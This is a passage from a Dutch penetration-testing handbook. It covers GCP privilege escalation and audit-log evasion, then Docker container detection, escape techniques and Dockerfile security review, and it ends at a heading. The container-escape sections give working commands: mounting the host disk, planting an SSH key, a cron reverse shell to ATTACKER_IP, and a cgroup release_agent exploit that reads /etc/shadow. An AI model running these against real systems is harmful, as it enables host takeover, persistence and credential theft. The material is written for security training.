gcloud iam roles describe ROLE_ID --project=PROJECT_ID \
    --format="json(includedPermissions)" | \
    python3 -c "
import sys,json
data = json.load(sys.stdin)
perms = data.get('includedPermissions',[])
dangerous = {
    'iam.serviceAccounts.actAs': 'SA impersonation',
    'iam.serviceAccountKeys.create': 'Key creation',
    'resourcemanager.projects.setIamPolicy': 'Policy modification',
    'iam.serviceAccounts.getAccessToken': 'Token generation',
    'iam.serviceAccounts.implicitDelegation': 'Delegation chain',
    'iam.serviceAccounts.signBlob': 'Blob signing (token forge)',
    'iam.serviceAccounts.signJwt': 'JWT signing (token forge)',
    'compute.instances.setMetadata': 'SSH key injection',
    'deploymentmanager.deployments.create': 'Deploy as SA',
    'cloudfunctions.functions.create': 'Function as SA',
    'run.services.create': 'Cloud Run as SA',
}
for perm in perms:
    for dp, desc in dangerous.items():
        if dp in perm:
            print(f'[!] {perm} -> {desc}')
"

5.9.6 Rhino Security Overzicht

De meest voorkomende escalatiepaden:

Permission Escalatiemethode Impact
iam.serviceAccounts.actAs + compute create VM aanmaken als SA SA-level access
iam.serviceAccountKeys.create Key aanmaken voor SA Permanente SA access
iam.serviceAccounts.getAccessToken Token genereren voor SA Tijdelijke SA access
iam.serviceAccounts.signBlob Willekeurige blobs ondertekenen Token forge
iam.serviceAccounts.signJwt JWTs ondertekenen Token forge
iam.serviceAccounts.implicitDelegation Impersonation chain Transitieve escalatie
resourcemanager.projects.setIamPolicy IAM policy wijzigen Volledige controle
compute.instances.setMetadata SSH keys injecteren Command execution
deploymentmanager.deployments.create Deployment Manager Deploy als project SA
cloudfunctions.functions.create + actAs Function als SA SA-level access

5.10 Cloud Audit Logs

5.10.1 Wat Wordt Gelogd

GCP heeft vier typen audit logs:

Type Standaard aan? Wat het logt Kosten
Admin Activity Ja, altijd IAM-wijzigingen, resource creatie/verwijdering Gratis
System Event Ja, altijd Google-initiated system events Gratis
Data Access Nee Lezen/schrijven van data (BigQuery, Storage, etc.) Betaald
Policy Denied Ja, altijd Geweigerde requests door IAM of org policy Gratis

Het kritieke punt: Data Access logs staan standaard uit. Dat betekent dat het ophalen van secrets uit Secret Manager, het lezen van Cloud Storage-objecten, en het queryen van BigQuery-datasets standaard niet worden gelogd. Dit is een enorm gat.

# Audit log configuratie bekijken
gcloud logging sinks list
gcloud projects get-iam-policy PROJECT_ID --format=json | \
    python3 -c "
import sys,json
policy = json.load(sys.stdin)
audit = policy.get('auditConfigs',[])
if not audit:
    print('[!] Geen audit configuratie gevonden (Data Access logs waarschijnlijk uit)')
for a in audit:
    print(f\"Service: {a.get('service','')}\")
    for c in a.get('auditLogConfigs',[]):
        print(f\"  {c.get('logType','')}\")
"

5.10.2 Wat Niet Wordt Gelogd

Zelfs met alle logs ingeschakeld zijn er gaps:

  1. Metadata server access wordt niet gelogd als een cloud audit event
  2. Intra-project traffic tussen GCE VMs wordt niet gelogd door VPC Flow Logs (tenzij expliciet ingeschakeld)
  3. Container-interne activiteit in GKE wordt niet gelogd door GCP (daarvoor heb je Kubernetes audit logs nodig)
  4. Service account token gebruik wordt gelogd met de service account identity, niet met de identity van de persoon die het token heeft gestolen

5.10.3 Evasion Technieken

# Vermijd Data Access logs (als ze uit staan): lees gewoon data
# De meeste organisaties hebben deze logs uit vanwege kosten

# Gebruik service account impersonation: je acties verschijnen
# als de service account, niet als jouw user
gcloud compute instances list \
    --impersonate-service-account=SA@PROJECT.iam.gserviceaccount.com

# Admin Activity logs zijn niet te vermijden, maar je kunt:
# - Acties spreiden over tijd
# - Gebruik maken van bestaande service accounts (minder opvallend)
# - Acties uitvoeren tijdens kantooruren (opgaan in normaal verkeer)

IB Tip: In je rapport is het belangrijk om te documenteren welke logs zijn ingeschakeld en welke niet. Het ontbreken van Data Access logs is op zichzelf een bevinding — het betekent dat de organisatie niet kan detecteren of data wordt geexfiltreerd.

Verdedigingsmaatregelen

Organization Policies

Organization Policies zijn beperkingen die op organisatie-niveau worden afgedwongen. Ze overschrijven IAM: zelfs als een IAM policy iets toestaat, kan een Organization Policy het blokkeren.

Policy Beschrijving Welke aanval het mitigeert
constraints/iam.disableServiceAccountKeyCreation Blokkeer aanmaken van SA-keys Key theft
constraints/compute.requireOsLogin Verplicht OS Login voor SSH SSH key injection
constraints/storage.uniformBucketLevelAccess Verplicht uniform access ACL-misconfiguratie
constraints/iam.allowedPolicyMemberDomains Beperk leden tot specifieke domeinen allUsers/allAuthenticatedUsers
constraints/compute.requireShieldedVm Verplicht Shielded VMs Boot-level attacks
constraints/cloudfunctions.allowedIngressSettings Beperk function ingress Publieke function invocatie
# Actieve Organization Policies bekijken
gcloud resource-manager org-policies list --organization=ORG_ID

# Specifieke policy details
gcloud resource-manager org-policies describe constraints/iam.disableServiceAccountKeyCreation \
    --organization=ORG_ID

VPC Service Controls

VPC Service Controls creëren een “perimeter” rond GCP resources die data exfiltratie voorkomt. Resources binnen de perimeter kunnen niet communiceren met resources buiten de perimeter, zelfs niet als IAM het toestaat.

# VPC Service Controls perimeters bekijken
gcloud access-context-manager perimeters list --policy=POLICY_ID

# Perimeter details
gcloud access-context-manager perimeters describe PERIMETER_NAME --policy=POLICY_ID

VPC Service Controls zijn de meest effectieve verdediging tegen data exfiltratie in GCP. Ze voorkomen dat een aanvaller met leesrechten op BigQuery de data kopieert naar een eigen project. Het is een harde grens, niet een zachte suggestie.

BeyondCorp Enterprise

BeyondCorp is Google’s implementatie van zero trust: geen netwerk is vertrouwd, geen device is vertrouwd, elke toegangspoging wordt geëvalueerd op basis van identity, device trust, en context. Het is de GCP-variant van Azure Conditional Access, maar met een focus op continue evaluatie in plaats van point-in-time checks.

Overige Aanbevelingen

Maatregel Beschrijving
Disable default SA Gebruik dedicated SAs met minimale rechten
Enable Data Access logs Ondanks de kosten, essentieel voor detectie
Workload Identity in GKE Voorkom node SA-misbruik vanuit pods
Uniform bucket access Voorkom ACL-inconsistenties
Disable SA key creation Via Organization Policy
Secret Manager Migreer van env vars naar Secret Manager
Binary Authorization Voorkom deployment van ongetrusted containers
Monitor SA key usage Alert op ongebruikelijke SA-authenticatie

Referentietabel

Onderwerp Techniek Tool MITRE ATT&CK Moeilijkheid
Project/org enumeratie Resource discovery gcloud CLI T1580 (Cloud Infrastructure Discovery) Laag
IAM policy analyse Permission mapping gcloud, custom scripts T1087.004 (Cloud Account Discovery) Laag
Service account key theft Credential file discovery find, grep, gcloud T1552.001 (Credentials in Files) Laag
SA impersonation Token generation via actAs gcloud CLI T1098.003 (Additional Cloud Roles) Gemiddeld
SA key creation Persistent SA access gcloud CLI T1098.001 (Additional Cloud Credentials) Gemiddeld
Metadata server token theft IMDS exploitation curl T1552.005 (Cloud Instance Metadata API) Laag
Startup script secrets Credential in metadata curl, gcloud T1552.005 (Cloud Instance Metadata API) Laag
SSH key injection Metadata modification gcloud CLI T1098.004 (SSH Authorized Keys) Gemiddeld
Cloud Function secrets Environment variable theft gcloud CLI T1552.001 (Credentials in Files) Laag
Cloud Function source Source code access gcloud, gsutil T1213 (Data from Information Repositories) Gemiddeld
Public bucket access Storage enumeration curl, gsutil T1530 (Data from Cloud Storage) Laag
Signed URL abuse Token reuse curl T1550.001 (Application Access Token) Laag
GKE RBAC abuse Kubernetes privilege escalation kubectl T1078.004 (Cloud Accounts) Gemiddeld-Hoog
GKE metadata access Pod → node escalation curl T1552.005 (Cloud Instance Metadata API) Gemiddeld
BigQuery data access Cross-project queries bq CLI T1530 (Data from Cloud Storage) Gemiddeld
setIamPolicy abuse Direct policy modification gcloud CLI T1098.003 (Additional Cloud Roles) Laag (als je de perm hebt)
actAs escalation Resource creation as SA gcloud CLI T1098.003 (Additional Cloud Roles) Gemiddeld
Custom role privesc Overprivileged role abuse gcloud CLI T1078.004 (Cloud Accounts) Gemiddeld
Audit log evasion SA impersonation, timing gcloud CLI T1562.008 (Disable Cloud Logs) Hoog
Data exfiltratie Storage/BQ export gsutil, bq T1537 (Transfer Data to Cloud Account) Gemiddeld

De cloud is geen magie. Het is andermans datacenter met een mooie API erboven. De aanvallen zijn anders dan on-premises — geen NTLM-hashes, geen Kerberos-tickets, geen vergeten service accounts met wachtwoorden uit 2019. Maar de patronen zijn hetzelfde: te brede rechten, vergeten configuratie, en het onwrikbare geloof dat iemand anders het wel in de gaten houdt. Niemand houdt het in de gaten. Behalve wij.

Container Security

Container Security

Waarin we ontdekken dat het opsluiten van applicaties in dozen niet helpt als de doos van karton is, de bewaker slaapt, en iemand de sleutel onder de mat heeft gelegd.

6.1 Containers vanuit aanvalsperspectief

De belofte en de werkelijkheid

Containers zouden alles oplossen. Isolatie. Reproduceerbaarheid. Schaalbaarheid. De pitch was verleidelijk: stop je applicatie in een container, en je hoeft je nooit meer zorgen te maken over “maar het werkt op mijn machine.” En eerlijk is eerlijk – voor development is die belofte grotendeels waargemaakt. Voor security? Dat is een ander verhaal.

Het fundamentele probleem met containers is dat ze geen virtual machines zijn, maar vaak wel zo worden behandeld. Een virtual machine heeft een eigen kernel, eigen geheugen, eigen alles. Een container deelt de kernel met de host. Dat is het hele punt – het is wat containers zo licht en snel maakt. Maar het is ook wat ze fundamenteel anders maakt vanuit beveiligingsperspectief. Als je uit een container ontsnapt, sta je op de host. Er is geen hypervisor die je tegenhoudt. Er is geen tweede laag. Je bent er.

Stel je een flatgebouw voor. Virtual machines zijn appartementen met eigen muren, vloeren en plafonds – betonnen scheidingen die je niet kunt horen, laat staan bereiken. Containers zijn kamers in een gedeelde woonruimte, gescheiden door gipsplaatmuren. Je kunt er prima in wonen. Maar als iemand hard genoeg duwt, valt de muur om. En dan sta je in iemand anders’ kamer.

Docker architectuur

Docker is het de facto standaard containerplatform, al zijn er alternatieven zoals Podman, containerd en CRI-O. De architectuur is verrassend eenvoudig:

┌─────────────────────────────────────────────────┐
│                   Host OS                        │
│  ┌─────────────────────────────────────────────┐ │
│  │            Docker Daemon (dockerd)           │ │
│  │  ┌──────────┐ ┌──────────┐ ┌──────────┐    │ │
│  │  │Container │ │Container │ │Container │    │ │
│  │  │  App A   │ │  App B   │ │  App C   │    │ │
│  │  │ (PID ns) │ │ (PID ns) │ │ (PID ns) │    │ │
│  │  │ (Net ns) │ │ (Net ns) │ │ (Net ns) │    │ │
│  │  │ (Mnt ns) │ │ (Mnt ns) │ │ (Mnt ns) │    │ │
│  │  └──────────┘ └──────────┘ └──────────┘    │ │
│  │         Gedeelde Linux Kernel               │ │
│  └─────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────┘

De Docker daemon (dockerd) draait als root op de host en beheert containers, images, networks en volumes. Dit is meteen het eerste probleem: de daemon die alles beheert draait met de hoogste privileges. Wie toegang heeft tot de daemon, heeft de facto root op de host.

De Docker client (docker) communiceert met de daemon via een Unix socket (/var/run/docker.sock) of via TCP. Die Unix socket is het equivalent van de sleutel tot het koninkrijk – een thema dat in dit hoofdstuk herhaaldelijk terugkeert.

Namespaces zorgen voor isolatie. Linux namespaces geven elke container zijn eigen kijk op het systeem:

Namespace Wat het isoleert Kernel flag
PID Process IDs – container ziet alleen eigen processen CLONE_NEWPID
Network Netwerk interfaces, IP-adressen, routing CLONE_NEWNET
Mount Filesysteem mount points CLONE_NEWNS
UTS Hostname en domainname CLONE_NEWUTS
IPC Inter-process communication CLONE_NEWIPC
User User en group IDs CLONE_NEWUSER
Cgroup Cgroup root directory CLONE_NEWCGROUP

Cgroups (control groups) beperken hoeveel resources een container mag gebruiken – CPU, geheugen, disk I/O. Ze zijn meer een resource management-mechanisme dan een beveiligingsmaatregel, maar ze spelen een verrassende rol bij container escapes, zoals we later zullen zien.

Capabilities zijn Linux’s poging om root-privileges op te knippen in kleinere stukken. In plaats van alles-of-niets (root of niet-root) kun je specifieke capabilities toekennen. Docker dropt standaard een aantal gevaarlijke capabilities, maar laat er ook een paar staan die je liever niet zou zien:

# Standaard Docker capabilities (Docker 24+)
# TOEGESTAAN:
CAP_CHOWN, CAP_DAC_OVERRIDE, CAP_FSETID, CAP_FOWNER,
CAP_MKNOD, CAP_NET_RAW, CAP_SETGID, CAP_SETUID,
CAP_SETFCAP, CAP_SETPCAP, CAP_NET_BIND_SERVICE,
CAP_SYS_CHROOT, CAP_KILL, CAP_AUDIT_WRITE

# GEDROPPED (selectie van de gevaarlijkste):
CAP_SYS_ADMIN, CAP_SYS_PTRACE, CAP_SYS_MODULE,
CAP_SYS_RAWIO, CAP_NET_ADMIN

CAP_NET_RAW is een interessante: het staat standaard aan en maakt het mogelijk om raw sockets te openen. Dat betekent ARP spoofing, ICMP flooding en packet sniffing vanuit een container. Niet ideaal.

Images en layers

Docker images zijn opgebouwd uit layers – elke instructie in een Dockerfile creert een nieuwe layer. Dit is efficient voor opslag en distributie, maar het creert een beveiligingsprobleem: elke layer wordt permanent opgeslagen. Als je in stap 3 van je Dockerfile een geheim bestand kopieert en in stap 4 weer verwijdert, bestaat het bestand nog steeds in layer 3. Verwijderen is een illusie.

# Voorbeeld: het "verwijderde" geheim
FROM ubuntu:22.04
COPY secret-config.env /app/config.env    # Layer 2: geheim bestaat
RUN rm /app/config.env                     # Layer 3: geheim is "weg"
# Spoiler: het geheim zit nog steeds in layer 2

Dit is niet een theoretisch probleem. Het is een probleem dat penetratiesters regelmatig tegenkomen. AWS-sleutels, database-wachtwoorden, API tokens – ze worden gekopieerd, gebruikt en “verwijderd”, maar ze leven voort in de image layers als geesten die weigeren te vertrekken.

Registries

Docker registries zijn opslagplaatsen voor images. Docker Hub is de grootste publieke registry, maar organisaties draaien vaak ook private registries (Harbor, GitLab Container Registry, AWS ECR, Azure ACR, Google Artifact Registry).

Het probleem met registries is tweeledig. Ten eerste: publieke registries bevatten images die door iedereen zijn geupload, en het kwaliteits- en beveiligingsniveau varieert van “professioneel onderhouden” tot “een student die zijn eerste Docker-experiment deelde in 2019 en het sindsdien niet heeft aangeraakt.” Ten tweede: private registries zijn niet altijd zo privaat als men denkt.

IB Tip: Veel private Docker registries draaien zonder authenticatie op interne netwerken. Een portscan op poort 5000 (standaard Docker Registry) en poort 443 (Harbor) is een goed startpunt. Unauthenticated registries zijn een goudmijn voor credential extraction.

6.2 Docker Enumeration

Herkennen dat je in een container zit

Het eerste wat je moet vaststellen na het verkrijgen van een shell: ben ik in een container? Dit klinkt als een existentiele vraag, en in zekere zin is het dat ook. De omgeving om je heen ziet eruit als Linux, ruikt als Linux, maar is het wel echt Linux? Of is het een kartonnen decor?

Er zijn meerdere indicatoren:

# Indicator 1: .dockerenv bestand
ls -la /.dockerenv
# Als dit bestand bestaat, zit je (vrijwel zeker) in een Docker container

# Indicator 2: cgroup informatie
cat /proc/1/cgroup
# In een container zie je regels als:
# 12:devices:/docker/a1b2c3d4e5f6...
# Het pad bevat "docker" of een container ID (64 hex chars)

# Indicator 3: cgroup2 (nieuwere kernels)
cat /proc/self/mountinfo | grep -i docker
cat /proc/self/mountinfo | grep -i kubepods

# Indicator 4: PID 1 is niet systemd/init
cat /proc/1/cmdline | tr '\0' ' '
# Op een normale host: /sbin/init of /lib/systemd/systemd
# In een container: je applicatie (nginx, python, node, etc.)

# Indicator 5: hostname is een container ID
hostname
# Vaak een afgekapte hex string: a1b2c3d4e5f6

# Indicator 6: beperkt aantal processen
ps aux
# Een container heeft typisch maar een paar processen

# Indicator 7: environment variables
env | grep -i kube
env | grep -i docker
env | grep -i container
# KUBERNETES_SERVICE_HOST duidt op een Kubernetes pod

# Indicator 8: mount points
mount | grep overlay
# Overlay filesysteem is typisch voor containers

# Indicator 9: netwerk interfaces
ip addr
# veth interfaces duiden op container networking

# Indicator 10: capabilities
cat /proc/1/status | grep -i cap
# Beperkte capabilities set duidt op container

IB Tip: Een snelle one-liner om te bepalen of je in een container zit: if [ -f /.dockerenv ] || grep -q docker /proc/1/cgroup 2>/dev/null; then echo "Container"; else echo "Host (waarschijnlijk)"; fi

Container escape indicators

Niet elke container is even goed beveiligd. Sommige configuraties zijn een uitnodiging om te ontsnappen. De volgende checks vertellen je of een escape mogelijk is:

# Check 1: Is de Docker socket gemount?
ls -la /var/run/docker.sock
# Als dit bestaat: JACKPOT. Volledige host-toegang mogelijk.

# Check 2: Draai je als privileged?
cat /proc/1/status | grep -i seccomp
# Seccomp: 0 = DISABLED (privileged container!)
# Seccomp: 2 = filter mode (normaal)

# Alternatief: probeer een mount
mount /dev/sda1 /mnt 2>/dev/null
# Als dit lukt: je bent privileged

# Check 3: SYS_ADMIN capability
cat /proc/1/status | grep CapEff
# Decodeer met: capsh --decode=<hex_waarde>
# Kijk of CAP_SYS_ADMIN (bit 21) aanwezig is

# Check 4: Kun je device nodes aanmaken?
mknod /tmp/test b 8 0 2>/dev/null && echo "VULNERABLE" && rm /tmp/test

# Check 5: Is /dev/sda (host disk) benaderbaar?
fdisk -l 2>/dev/null | grep /dev/sd

# Check 6: Host PID namespace gedeeld?
ls /proc/*/exe 2>/dev/null | wc -l
# Veel meer processen dan verwacht = host PID namespace

# Check 7: Host network namespace?
ip addr | grep -c eth
# Veel interfaces of het host-IP = host network

# Check 8: Sensitive host paths gemount?
mount | grep -E '/(etc|root|home|var/log)'
# Host directories gemount in container = data toegang

Een methodisch overzicht van de escape-indicatoren:

Indicator Check Impact
Docker socket mount /var/run/docker.sock bestaat Volledige host-controle
Privileged mode Seccomp disabled, alle capabilities Container escape triviaal
CAP_SYS_ADMIN In CapEff bitmask Cgroup escape mogelijk
CAP_SYS_PTRACE In CapEff bitmask Process injection op host
Host PID namespace --pid=host Host processen zichtbaar/injecteerbaar
Host network --network=host Host netwerk volledig toegankelijk
Host path mounts Gevoelige dirs gemount Directe file access
Writable hostPath / of /etc writable Host filesystem manipulatie

Geautomatiseerde enumeratie

Handmatige checks zijn leerzaam, maar in de praktijk wil je tooling:

# deepce - Docker Enumeration, Escalation of Privileges and Container Escapes
# https://github.com/stealthcopter/deepce
curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh -o deepce.sh
chmod +x deepce.sh
./deepce.sh

# CDK - Container penetration toolkit
# https://github.com/cdk-team/CDK
./cdk evaluate

# amicontained - introspection tool
# https://github.com/genuinetools/amicontained
./amicontained

deepce is bijzonder handig omdat het niet alleen detecteert of je in een container zit, maar ook automatisch bekende escape-paden evalueert en rapporteert welke technieken waarschijnlijk werken.

6.3 Docker Escape technieken

De ultieme vraag

Als je in een container zit, is er precies een vraag die ertoe doet: kun je eruit?

Container escapes zijn het equivalent van de grote ontsnapping uit een gevangenis, met dit verschil dat de gevangenismuren in veel gevallen meer lijken op een suggestie dan op een fysieke barriere. De meeste escapes exploiteren geen kernel-kwetsbaarheden – ze exploiteren misconfiguraties. Iemand heeft ergens een vinkje gezet dat niet gezet had moeten worden, of een volume gemount dat niet gemount had moeten worden, en plotseling is je container net zo goed beveiligd als een open deur.

6.3.1 De Docker Socket: de sleutel die onder de mat lag

De meest voorkomende en meest verwoestende container escape. Als /var/run/docker.sock in de container is gemount, heb je volledige controle over de Docker daemon op de host. Het is alsof je in een gevangeniscel zit, maar de cipier heeft de sleutel van het hele gebouw in je cel laten liggen.

Waarom mounten mensen de Docker socket in een container? Meestal voor CI/CD: Jenkins, GitLab Runner en vergelijkbare tools moeten containers kunnen starten, en de “makkelijke” manier is de Docker socket doorvoeren. Gemak boven beveiliging – het eeuwige lied.

# Stap 1: Verifieer dat de socket beschikbaar is
ls -la /var/run/docker.sock
# srw-rw---- 1 root docker 0 Jan  1 00:00 /var/run/docker.sock

# Stap 2: Installeer of download de Docker client
# Optie A: als curl beschikbaar is
curl -fsSL https://download.docker.com/linux/static/stable/x86_64/docker-24.0.7.tgz \
    | tar xz --strip-components=1 -C /tmp/ docker/docker
export PATH=/tmp:$PATH

# Optie B: als de Docker client al in de container zit
which docker

# Stap 3: Controleer toegang tot de host daemon
docker ps
docker images

# Stap 4: Escape optie A - Mount het host-filesysteem
docker run -it --rm -v /:/host alpine chroot /host /bin/bash
# Je bent nu root op de host.

# Stap 4 alternatief: Escape optie B - Privileged container starten
docker run -it --rm --privileged --pid=host --net=host \
    -v /:/host alpine chroot /host /bin/bash

# Stap 4 alternatief: Escape optie C - nsenter via host PID
docker run -it --rm --privileged --pid=host alpine \
    nsenter -t 1 -m -u -i -n -p -- /bin/bash

Wat optie C doet verdient uitleg. nsenter betreedt de namespaces van een bestaand proces. -t 1 target PID 1 – het init-proces van de host. De flags -m -u -i -n -p betrekken alle namespaces (mount, UTS, IPC, network, PID). Het resultaat: een shell in de volledige context van de host.

# Als je geen Docker client hebt maar wel curl:
# Communiceer direct met de Docker API via de socket

# Lijst alle containers
curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json | python3 -m json.tool

# Maak een nieuwe container met host filesystem mount
curl -s --unix-socket /var/run/docker.sock \
    -X POST http://localhost/containers/create \
    -H "Content-Type: application/json" \
    -d '{
        "Image": "alpine",
        "Cmd": ["/bin/sh", "-c", "cat /host/etc/shadow"],
        "Binds": ["/:/host"],
        "Privileged": true
    }'

# Start de container (vervang CONTAINER_ID)
curl -s --unix-socket /var/run/docker.sock \
    -X POST http://localhost/containers/CONTAINER_ID/start

# Lees de output
curl -s --unix-socket /var/run/docker.sock \
    http://localhost/containers/CONTAINER_ID/logs?stdout=true

IB Tip: Als je de Docker socket hebt maar geen client en geen curl, kijk of socat, wget, of zelfs python beschikbaar is. Python’s urllib kan communiceren met Unix sockets via de urllib3 library. Creativiteit is de penetratietester’s beste vriend.

6.3.2 Privileged containers: de gouden kooi zonder tralies

Een container die is gestart met --privileged heeft alle Linux capabilities, toegang tot alle devices van de host, en een disabled seccomp profiel. Het is een container in naam, maar in de praktijk is het root op de host met een iets ander filesysteem.

# Escape via mount van het host-filesysteem
# Stap 1: Vind het host filesystem device
fdisk -l 2>/dev/null
# /dev/sda1: Linux filesystem

# Of via /proc
cat /proc/partitions
# major minor  #blocks  name
#    8        0  41943040 sda
#    8        1  41942016 sda1

# Stap 2: Mount het host filesysteem
mkdir -p /mnt/host
mount /dev/sda1 /mnt/host

# Stap 3: Lees gevoelige bestanden
cat /mnt/host/etc/shadow
cat /mnt/host/root/.ssh/id_rsa
cat /mnt/host/root/.bash_history
ls -la /mnt/host/root/

# Stap 4: Schrijf een SSH-sleutel voor permanente toegang
mkdir -p /mnt/host/root/.ssh
echo "ssh-rsa AAAA...jouw_publieke_sleutel..." >> /mnt/host/root/.ssh/authorized_keys
chmod 600 /mnt/host/root/.ssh/authorized_keys

# Stap 5: Plant een cronjob voor een reverse shell
echo "* * * * * root bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'" \
    >> /mnt/host/etc/crontab

6.3.3 CAP_SYS_ADMIN en de cgroups release_agent escape

Dit is de meest elegante container escape. Als je container CAP_SYS_ADMIN heeft (wat het geval is bij --privileged, maar soms ook expliciet is toegekend), kun je de cgroups release_agent misbruiken om code uit te voeren op de host.

De achtergrond: cgroups hebben een mechanisme genaamd release_agent – een programma dat wordt uitgevoerd wanneer de laatste taak in een cgroup eindigt. Dit programma wordt uitgevoerd door de host kernel, niet door de container. Als je kunt schrijven naar de release_agent van een cgroup, kun je willekeurige commando’s uitvoeren op de host.

# Cgroup release_agent escape (cgroups v1)
# Stap 1: Mount een cgroup controller
mkdir /tmp/cgrp
mount -t cgroup -o rdma cgroup /tmp/cgrp 2>/dev/null || \
mount -t cgroup -o memory cgroup /tmp/cgrp

# Stap 2: Maak een child cgroup aan
mkdir /tmp/cgrp/exploit

# Stap 3: Schakel notificatie in (zodat release_agent wordt getriggerd)
echo 1 > /tmp/cgrp/exploit/notify_on_release

# Stap 4: Vind het pad van de container in het host-filesysteem
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
# Of:
host_path=$(cat /proc/self/mountinfo | grep "workdir" | awk '{print $4}' | head -1)

# Stap 5: Stel de release_agent in op een script op de host
echo "$host_path/cmd" > /tmp/cgrp/release_agent

# Stap 6: Schrijf het commando dat op de host moet draaien
cat > /cmd << 'EOF'
#!/bin/sh
cat /etc/shadow > /output
# Of een reverse shell:
# bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
EOF
chmod +x /cmd

# Stap 7: Trigger de release_agent door een proces in de cgroup te starten en te stoppen
sh -c "echo \$\$ > /tmp/cgrp/exploit/cgroup.procs && sleep 0"

# Stap 8: Lees de output
cat /output

Dit werkt omdat de kernel de release_agent uitvoert in de host-context, niet in de container-context. De kernel maakt geen onderscheid – het voert simpelweg het script uit dat geconfigureerd staat. Het is een feature, geen bug. Althans, dat is wat de kernel-ontwikkelaars zeggen. De penetratiesters in de zaal knikken beleefd en openen hun terminal.

# One-liner variant (handig voor snelle exploitatie):
d=$(dirname $(ls -x /s*/fs/c*/*/r* | head -n1))
mkdir -p $d/w
echo 1 > $d/w/notify_on_release
t=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo $t/c > $d/release_agent
printf '#!/bin/sh\nid > '$t'/o' > /c
chmod +x /c
sh -c "echo 0 > $d/w/cgroup.procs"
sleep 1
cat /o

6.3.4 nsenter: door de achterdeur

Als de container is gestart met --pid=host (de container deelt de PID namespace met de host), kun je nsenter gebruiken om de namespaces van het host init-proces te betreden:

# Check of je host PID namespace hebt
ls /proc/*/cmdline 2>/dev/null | head -20
# Als je systemd, sshd, etc. ziet: host PID namespace

# nsenter naar de host
nsenter -t 1 -m -u -i -n -p -- /bin/bash
# -t 1     = target PID 1 (host init)
# -m       = mount namespace
# -u       = UTS namespace (hostname)
# -i       = IPC namespace
# -n       = network namespace
# -p       = PID namespace
# Je hebt nu een volledige host shell

6.3.5 Process injection via /proc

Als --pid=host is ingeschakeld en je CAP_SYS_PTRACE hebt, kun je processen op de host injecteren:

# Vind een host-proces (bijv. een root-owned proces)
ps aux | grep -v grep | grep root

# Gebruik een tool als nsenter of schrijf naar /proc/<PID>/mem
# Dit is complex maar krachtig - injecting shellcode in een bestaand host-proces

# Eenvoudiger: misbruik /proc/<PID>/root voor filesystem access
ls -la /proc/1/root/etc/shadow
cat /proc/1/root/etc/shadow

6.3.6 Kernel exploits

Als geen van de bovenstaande misconfiguraties aanwezig is, rest de nucleaire optie: een kernel exploit. Omdat de container de kernel deelt met de host, compromitteert een kernel exploit de host.

# Controleer de kernel versie
uname -r

# Bekende container-relevante kernel exploits:
# CVE-2022-0847 (Dirty Pipe) - Linux 5.8+
# CVE-2022-0185 - file system context exploits
# CVE-2021-22555 - Netfilter heap OOB write
# CVE-2020-14386 - AF_PACKET privilege escalation
# CVE-2019-5736 - runc container escape (niet kernel, maar runtime)

# Voorbeeld: CVE-2019-5736 (runc overwrite)
# Deze exploit overschrijft de runc binary op de host
# via /proc/self/exe manipulatie
# Werkt op runc < 1.0.0-rc6

CVE-2019-5736 verdient speciale vermelding. Het is geen kernel exploit maar een container runtime exploit die het mogelijk maakt om de runc binary op de host te overschrijven. Wanneer een beheerder vervolgens docker exec uitvoert, wordt de gemanipuleerde binary uitgevoerd met root-privileges op de host. Het is diabolisch elegant.

Escape-overzicht

Techniek Vereiste Complexiteit MITRE ATT&CK
Docker socket Socket gemount Laag T1611
Privileged + mount --privileged Laag T1611
Cgroup release_agent CAP_SYS_ADMIN Middel T1611
nsenter --pid=host Laag T1611
Process injection --pid=host + CAP_SYS_PTRACE Hoog T1055.008
Kernel exploit Kwetsbare kernel Hoog T1068
runc exploit (CVE-2019-5736) Kwetsbare runc Middel T1611

6.4 Image Security

Trojanized images: het paard van Troje in YAML

De ironie van container images is prachtig. We stoppen applicaties in containers voor “veiligheid” en “isolatie”, en vervolgens downloaden we die containers van het internet, van een willekeurige registry, gemaakt door een willekeurig persoon, en draaien ze met root-privileges. Het is alsof je je voordeur op slot doet en vervolgens een pakketje van een onbekende afzender opentrekt in je woonkamer.

Het probleem is niet theoretisch. Docker Hub heeft herhaaldelijk images gehost die cryptominers bevatten, backdoors installeren of credentials stelen. De official images (die met het blauwe vinkje) zijn over het algemeen betrouwbaar. Alles daaronder? Vertrouw maar verifieer. Of beter nog: vertrouw niet en verifieer alsnog.

Dockerfile analysis

De Dockerfile is de blauwdruk van een image. Het lezen ervan vertelt je veel over de beveiliging:

# RODE VLAGGEN in een Dockerfile:

# 1. Draait als root (geen USER instructie)
FROM ubuntu:22.04
RUN apt-get update && apt-get install -y nginx
# Geen USER instructie = container draait als root

# 2. Secrets in environment variables
ENV DATABASE_PASSWORD=SuperSecret123!
ENV AWS_ACCESS_KEY_ID=AKIA...
ENV AWS_SECRET_ACCESS_KEY=wJal...

# 3. COPY van gevoelige bestanden
COPY .env /app/.env
COPY id_rsa /root/.ssh/id_rsa
COPY kubeconfig /root/.kube/config

# 4. Brede COPY die .git en andere gevoelige dirs meeneemt
COPY . /app/
# Kopieert ALLES, inclusief .git, .env, node_modules, etc.

# 5. Verouderde base image
FROM ubuntu:16.04
# End of life, geen security updates meer

# 6. curl | bash patroon
RUN curl -fsSL https://random-script.com/install.sh | bash
# Je voert willekeurige code van het internet uit als root. Briljant.

# 7. Onnodige packages
RUN apt-get install -y ssh telnet nmap netcat
# Waarom zitten er pentesting tools in je productie-image?

Een goed geschreven Dockerfile ziet er zo uit:

# Best practices voorbeeld
FROM python:3.12-slim AS builder
WORKDIR /build
COPY requirements.txt .
RUN pip install --no-cache-dir --user -r requirements.txt

FROM python:3.12-slim
RUN groupadd -r appuser && useradd -r -g appuser appuser
COPY --from=builder /root/.local /home/appuser/.local
COPY --chown=appuser:appuser app/ /app/
USER appuser
ENV PATH=/home/appuser/.local/bin:$PATH
EXPOSE 8080
HEALTHCHECK CMD curl -f http://localhost:8080/health || exit 1
ENTRYPOINT ["python", "/app/main.py"]

Secrets in layers: het verleden vergeet nooit

